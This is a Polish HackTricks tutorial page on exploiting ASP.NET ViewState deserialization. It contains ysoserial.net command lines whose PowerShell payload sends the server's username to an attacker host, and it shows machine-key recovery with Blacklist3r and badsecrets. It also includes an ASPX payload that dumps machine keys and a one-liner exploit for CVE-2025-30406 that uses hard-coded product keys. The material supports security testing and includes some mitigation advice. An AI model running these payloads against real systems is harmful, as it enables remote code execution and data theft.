Wykorzystywanie __VIEWSTATE bez znajomości sekretów
Reading time: 12 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Czym jest ViewState
ViewState służy jako domyślny mechanizm w ASP.NET do utrzymywania danych strony i kontrolki pomiędzy stronami internetowymi. Podczas renderowania HTML strony, bieżący stan strony oraz wartości do zachowania podczas postbacku są serializowane do ciągów zakodowanych w base64. Te ciągi są następnie umieszczane w ukrytych polach ViewState.
Informacje o ViewState można scharakteryzować następującymi właściwościami lub ich kombinacjami:
- Base64:
- Ten format jest wykorzystywany, gdy zarówno atrybuty
EnableViewStateMac
, jak iViewStateEncryptionMode
są ustawione na false. - Base64 + MAC (Kod uwierzytelniania wiadomości) włączony:
- Aktywacja MAC osiągana jest przez ustawienie atrybutu
EnableViewStateMac
na true. Zapewnia to weryfikację integralności danych ViewState. - Base64 + Szyfrowane:
- Szyfrowanie jest stosowane, gdy atrybut
ViewStateEncryptionMode
jest ustawiony na true, zapewniając poufność danych ViewState.
Przypadki testowe
Obrazek to tabela szczegółowo opisująca różne konfiguracje dla ViewState w ASP.NET w zależności od wersji frameworka .NET. Oto podsumowanie treści:
- Dla dowolnej wersji .NET, gdy zarówno MAC, jak i szyfrowanie są wyłączone, MachineKey nie jest wymagany, a zatem nie ma zastosowanej metody do jego identyfikacji.
- Dla wersji poniżej 4.5, jeśli MAC jest włączony, ale szyfrowanie nie, wymagany jest MachineKey. Metoda identyfikacji MachineKey nazywa się "Blacklist3r."
- Dla wersji poniżej 4.5, niezależnie od tego, czy MAC jest włączony, czy wyłączony, jeśli szyfrowanie jest włączone, wymagany jest MachineKey. Identyfikacja MachineKey to zadanie dla "Blacklist3r - Future Development."
- Dla wersji 4.5 i wyższych, wszystkie kombinacje MAC i szyfrowania (czy to obie są true, czy jedna jest true, a druga false) wymagają MachineKey. MachineKey można zidentyfikować za pomocą "Blacklist3r."
Przypadek testowy: 1 – EnableViewStateMac=false i viewStateEncryptionMode=false
Możliwe jest również całkowite wyłączenie ViewStateMAC poprzez ustawienie klucza rejestru AspNetEnforceViewStateMac
na zero w:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
Identyfikacja atrybutów ViewState
Możesz spróbować zidentyfikować, czy ViewState jest chroniony przez MAC, przechwytując żądanie zawierające ten parametr za pomocą BurpSuite. Jeśli MAC nie jest używany do ochrony parametru, możesz go wykorzystać za pomocą YSoSerial.Net
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
Test case 1.5 – Jak Test case 1, ale cookie ViewState nie jest wysyłane przez serwer
Programiści mogą usunąć ViewState z żądania HTTP (użytkownik nie otrzyma tego cookie).
Można założyć, że jeśli ViewState jest nieobecny, ich implementacja jest bezpieczna przed potencjalnymi lukami związanymi z deserializacją ViewState.
Jednak nie jest to prawda. Jeśli dodamy parametr ViewState do ciała żądania i wyślemy nasz zserializowany ładunek stworzony za pomocą ysoserial, nadal będziemy w stanie osiągnąć wykonanie kodu, jak pokazano w Przypadku 1.
Test Case: 2 – .Net < 4.5 i EnableViewStateMac=true & ViewStateEncryptionMode=false
Aby włączyć ViewState MAC dla konkretnej strony, musimy wprowadzić następujące zmiany w konkretnym pliku aspx:
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
Możemy to również zrobić dla całej aplikacji, ustawiając to w pliku web.config, jak pokazano poniżej:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
Ponieważ parametr jest chroniony przez MAC, aby pomyślnie przeprowadzić atak, najpierw musimy zdobyć użyty klucz.
Możesz spróbować użyć Blacklist3r(AspDotNetWrapper.exe) , aby znaleźć użyty klucz.
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
Badsecrets to kolejne narzędzie, które może zidentyfikować znane machineKeys. Jest napisane w Pythonie, więc w przeciwieństwie do Blacklist3r, nie ma zależności od Windows. Dla .NET viewstates istnieje narzędzie "python blacklist3r", które jest najszybszym sposobem na jego użycie.
Można je dostarczyć z viewstate i generatorem bezpośrednio:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
Lub może połączyć się bezpośrednio z docelowym URL i spróbować wydobyć viewstate z HTML:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
Aby wyszukiwać podatne viewstate'y na dużą skalę, w połączeniu z enumeracją subdomen, można użyć modułu badsecrets
BBOT:
bbot -f subdomain-enum -m badsecrets -t evil.corp
Jeśli masz szczęście i klucz zostanie znaleziony, możesz kontynuować atak używając YSoSerial.Net:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
W przypadkach, gdy parametr _VIEWSTATEGENERATOR
nie jest wysyłany przez serwer, nie musisz podawać parametru --generator
, ale te:
--apppath="/" --path="/hello.aspx"
Test Case: 3 – .Net < 4.5 i EnableViewStateMac=true/false oraz ViewStateEncryptionMode=true
W tym przypadku nie wiadomo, czy parametr jest chroniony za pomocą MAC. Wtedy wartość jest prawdopodobnie zaszyfrowana i potrzebujesz klucza maszyny, aby zaszyfrować swój ładunek w celu wykorzystania luki.
W tym przypadku Blacklist3r moduł jest w trakcie rozwoju...
Przed .NET 4.5, ASP.NET może akceptować niezaszyfrowany ___VIEWSTATE
_ parametr od użytkowników nawet jeśli ViewStateEncryptionMode
został ustawiony na Zawsze. ASP.NET sprawdza tylko obecność parametru __VIEWSTATEENCRYPTED
w żądaniu. Jeśli usuniesz ten parametr i wyślesz niezaszyfrowany ładunek, nadal zostanie on przetworzony.
Dlatego jeśli atakujący znajdą sposób na uzyskanie klucza maszyny za pomocą innej luki, takiej jak przejście przez pliki, YSoSerial.Net polecenie użyte w Przypadku 2, może być użyte do przeprowadzenia RCE przy użyciu luki w deserializacji ViewState.
- Usuń parametr
__VIEWSTATEENCRYPTED
z żądania, aby wykorzystać lukę w deserializacji ViewState, w przeciwnym razie zwróci błąd walidacji MAC Viewstate i exploit się nie powiedzie.
Test Case: 4 – .Net >= 4.5 i EnableViewStateMac=true/false oraz ViewStateEncryptionMode=true/false z wyjątkiem obu atrybutów ustawionych na false
Możemy wymusić użycie frameworka ASP.NET, określając poniższy parametr w pliku web.config, jak pokazano poniżej.
<httpRuntime targetFramework="4.5" />
Alternatywnie, można to zrobić, określając poniższą opcję wewnątrz parametru machineKey
pliku web.config.
compatibilityMode="Framework45"
Jak w poprzednim przypadku wartość jest szyfrowana. Następnie, aby wysłać ważny ładunek, atakujący potrzebuje klucza.
Możesz spróbować użyć Blacklist3r(AspDotNetWrapper.exe) , aby znaleźć używany klucz:
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
Dla bardziej szczegółowego opisu dla IISDirPath i TargetPagePath zobacz tutaj
Lub, z Badsecrets (z wartością generatora):
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
Gdy zidentyfikowany zostanie ważny klucz maszyny, następnym krokiem jest wygenerowanie zserializowanego ładunku przy użyciu YSoSerial.Net
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
Jeśli masz wartość __VIEWSTATEGENERATOR
, możesz spróbować użyć parametru --generator
z tą wartością i pominąć parametry --path
i --apppath
.
Sukces w wykorzystaniu luki w deserializacji ViewState doprowadzi do żądania out-of-band do serwera kontrolowanego przez atakującego, które zawiera nazwę użytkownika. Tego rodzaju exploit jest demonstrowany w dowodzie koncepcji (PoC), który można znaleźć w zasobie zatytułowanym "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Aby uzyskać dalsze szczegóły na temat tego, jak działa proces eksploatacji i jak wykorzystać narzędzia takie jak Blacklist3r do identyfikacji MachineKey, możesz zapoznać się z dostarczonym PoC of Successful Exploitation.
Test Case 6 – Używana jest ViewStateUserKeys
Właściwość ViewStateUserKey może być używana do obrony przed atakiem CSRF. Jeśli taki klucz został zdefiniowany w aplikacji i próbujemy wygenerować ładunek ViewState za pomocą metod omówionych do tej pory, ładunek nie zostanie przetworzony przez aplikację.
Musisz użyć jeszcze jednego parametru, aby poprawnie stworzyć ładunek:
--viewstateuserkey="randomstringdefinedintheserver"
Wynik udanej eksploitacji
Wszystkie przypadki testowe, jeśli ładunek ViewState YSoSerial.Net działa pomyślnie, serwer odpowiada “500 Internal server error” z treścią odpowiedzi “Informacje o stanie są nieprawidłowe dla tej strony i mogą być uszkodzone” i otrzymujemy żądanie OOB.
Sprawdź dalsze informacje tutaj
Zrzut kluczy maszyny ASP.NET za pomocą refleksji (SharPyShell/SharePoint ToolShell)
Atakujący, którzy są w stanie przesłać lub wykonać dowolny kod ASPX w katalogu głównym docelowej witryny, mogą bezpośrednio odzyskać tajne klucze, które chronią __VIEWSTATE
, zamiast próbować je złamać.
Minimalny ładunek, który ujawnia klucze, wykorzystuje wewnętrzne klasy .NET za pomocą refleksji:
<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>
Żądanie strony zwraca ValidationKey, DecryptionKey, algorytm szyfrowania oraz tryb zgodności ASP.NET. Te wartości można teraz bezpośrednio wprowadzić do ysoserial.net, aby stworzyć ważny, podpisany gadżet __VIEWSTATE
:
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
To prymityw wykradania kluczy były masowo wykorzystywane przeciwko lokalnym serwerom SharePoint w 2025 roku ("ToolShell" – CVE-2025-53770/53771), ale mają zastosowanie w każdej aplikacji ASP.NET, w której atakujący może uruchomić kod po stronie serwera.
Scenariusze rzeczywistego wykorzystania 2024-2025 i twardo zakodowane klucze maszyn
Fala "publicznie ujawnionych kluczy maszyn" Microsoftu (grudzień 2024 – luty 2025)
Microsoft Threat Intelligence zgłosił masowe wykorzystanie witryn ASP.NET, w których machineKey wcześniej wyciekł w publicznych źródłach (GitHub gists, posty na blogach, strony paste). Przeciwnicy enumerowali te klucze i generowali ważne gadżety __VIEWSTATE
z nowymi flagami ysoserial.net
1.41 --minify
i --islegacy
, aby ominąć limity długości WAF:
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify
Rotacja statycznych kluczy lub przejście na klucze AutoGenerate w Web .config (<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />
) łagodzi tę klasę ataków.
CVE-2025-30406 – Gladinet CentreStack / Triofox twardo zakodowane klucze
Kudelski Security odkryło, że wiele wydań CentreStack / Triofox dostarczono z identycznymi wartościami machineKey
, co umożliwia nieautoryzowane zdalne wykonanie kodu poprzez fałszowanie ViewState (CVE-2025-30406).
Jednolinijkowy exploit:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
Naprawione w CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – natychmiast zaktualizuj lub wymień klucze.
References
- Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET
- Deep dive into .NET ViewState deserialization and its exploitation
- Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)
- Introducing badsecrets – fast machineKey discovery
- SharePoint “ToolShell” exploitation chain (Eye Security, 2025)
- Microsoft Security – Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)
- Kudelski Security advisory – Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)
- https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/
- https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817
- https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
- https://blog.blacklanternsecurity.com/p/introducing-badsecrets
- SharePoint “ToolShell” exploitation chain (Eye Security, 2025)
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.